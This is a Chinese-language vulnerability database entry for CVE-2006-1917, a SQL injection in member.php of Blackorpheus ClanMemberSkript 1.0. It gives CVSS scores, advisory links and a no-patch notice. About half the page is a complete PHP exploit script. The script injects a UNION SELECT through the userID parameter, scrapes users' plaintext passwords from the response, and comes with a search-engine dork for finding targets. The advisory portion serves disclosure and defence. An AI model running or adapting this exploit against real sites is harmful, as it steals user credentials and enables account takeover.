CVE-2006-1917
CVSS7.5
发布时间 :2006-04-20 14:06:00
修订时间 :2011-03-07 21:34:32
NMCOE    

[原文]SQL injection vulnerability in member.php in Blackorpheus ClanMemberSkript 1.0 allows remote attackers to execute arbitrary SQL commands via the userID parameter.


[CNNVD]Blackorpheus ClanMemberSkript Member.PHP SQL注入漏洞 (CNNVD-200604-392)

        Blackorpheus ClanMemberSkript 1.0中的member.php存在SQL注入漏洞。这使得远程攻击者可以借助于userID参数执行任意SQL命令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1917
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-1917
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200604-392
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2006/1405
(UNKNOWN)  VUPEN  ADV-2006-1405
http://www.securityfocus.com/bid/17558
(UNKNOWN)  BID  17558
http://downloads.securityfocus.com/vulnerabilities/exploits/Blackorpheus_poc
(UNKNOWN)  MISC  http://downloads.securityfocus.com/vulnerabilities/exploits/Blackorpheus_poc
http://xforce.iss.net/xforce/xfdb/25902
(UNKNOWN)  XF  blackorpheus-member-sql-injection(25902)
http://secunia.com/advisories/19678
(UNKNOWN)  SECUNIA  19678
http://milw0rm.com/exploits/1683
(UNKNOWN)  MILW0RM  1683

- 漏洞信息

Blackorpheus ClanMemberSkript Member.PHP SQL注入漏洞
高危 SQL注入
2006-04-20 00:00:00 2006-04-24 00:00:00
远程  
        Blackorpheus ClanMemberSkript 1.0中的member.php存在SQL注入漏洞。这使得远程攻击者可以借助于userID参数执行任意SQL命令。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        http://www.clanscripte.net/
        

- 漏洞信息 (1683)

Blackorpheus ClanMemberSkript 1.0 Remote SQL Injection Exploit (EDBID:1683)
php webapps
2006-04-16 Verified
0 snatcher
N/A [点击下载]
<?php /*

 |---==============================================================---|
 |                          /\¯\__       /\¯\                         |   
 |     ____    ___      __  \ \  _\   ___\ \ \___      __    ___      |    
 |    /  __\ /  _  \  / __ \ \ \ \/  / ___\ \  _  \  / __ \/\  __\    |    
 |   /\__,  \/\ \/\ \/\ \_\ \_\ \ \_/\ \__/\ \ \ \ \/\  __/\ \ \/     |     
 |   \/\____/\ \_\ \_\ \__/ \_\\ \__\ \____\\ \_\ \_\ \____\\ \_\     |      
 |    \/___/  \/_/\/_/\/__/\/_/ \/__/\/____/ \/_/\/_/\/____/ \/_/     |     
 |                                     >> Internet Security           |                         
 |---==============================================================---|
 
        title: Blackorpheus ClanMemberSkript 1.0 remote sql injection
      release: 2006-04-16
       author: snatcher [snatcher at gmx.ch]
      country: switzerland  |+|
	  
  application: Blackorpheus ClanMemberSkript 1.0
  description: a php / mysql based member management system
     download: http://www.clanscripte.net/main.php?content=download&do=file&dlid=21
  description: you can get each password with a simple sql injection. the password 
               is plaintext :)
  fingerprint: google -> "powered by ClanMemberSkript" -> 18
       greets: honkey, str0ke <- good exploit publisher :),
			   all security guys and coders over the world,
 terms of use: this exploit is just for educational purposes, do not use it for illegal acts.


---------------------------- member.php - line 7 -------------------------------------
$result = MYSQL_QUERY(" SELECT * FROM $member_tab WHERE userID=$userID ");
-----------------------------------------------------------------------------------------

because this $userID isn't escaped correctly you can insert malicious sql code,
i.e. with a union operator.


*/

/*********************** CONFIGURATION ****************************/

$PATH_TO_FILE  = 'http://yourhost.com/member.php';                 // in example: http://yourhost.com/member.php
$USER_ID       = 1;                                                // which user? default: 1
$TABLE_PREFIX  = '';                                               // default: empty
$GET_VARS      = '?userID=';                                       // do not change
$SQL_INJECTION = '-666 union select 0,0,0,0,0,0,0,0,0,nick,pass,'. // do not change
                 '0,0,0,0,0,0,0,0,0,0,0,0 from '.$TABLE_PREFIX.
				 'membersettings where userID = '.$USER_ID.' limit 1/*';


/**************************** MAIN ********************************/

$file_array = file($PATH_TO_FILE.$GET_VARS.urlencode($SQL_INJECTION))or die('couldn\'t open host!'); 
foreach ($file_array as $now)                               
	$html_content .= $now;

$html_content = str_castrate($html_content);

preg_match_all("!Geburtsdatum:</font></td><tdwidth=\"50%\"><fontface=\"Verdana,Arial,Helvetica,sans".
               "-serif\"size=\"2\">(.*?)</font>!",
			   $html_content,$username); /* gets username */
preg_match_all("!Wohnort:</font></td><tdwidth=\"50%\"><fontface=\"Verdana,Arial,Helvetica,sans-serif".
               "\"size=\"2\">(.*?)</font>!", 
                $html_content,$password); /* gets password */

if ($username[1][0] && $password[1][0]) {
	echo 'username: <b>'.$username[1][0].'</b><br>';
	echo 'password: <b>'.$password[1][0].'</b>';
}else {
	echo 'exploit failed! <br>';
}
echo '<br><br><br><br><br>
======================================================================<br>
exploit: Blackorpheus ClanMemberSkript 1.0 remote sql injection<br>
release: 2006-04-16<br>
author: snatcher [snatcher at gmx.ch]<br>
======================================================================';

function str_castrate($string) {
	$string = str_replace("\n", '', $string);
	$string = str_replace("\r", '', $string);
	$string = str_replace(" ", '', $string);
	return $string;
}
?>

# milw0rm.com [2006-04-16]
		

- 漏洞信息

24803
Black Orpheus ClanMemberSkript member.php userID Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2006-04-16 Unknow
2006-04-16 Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站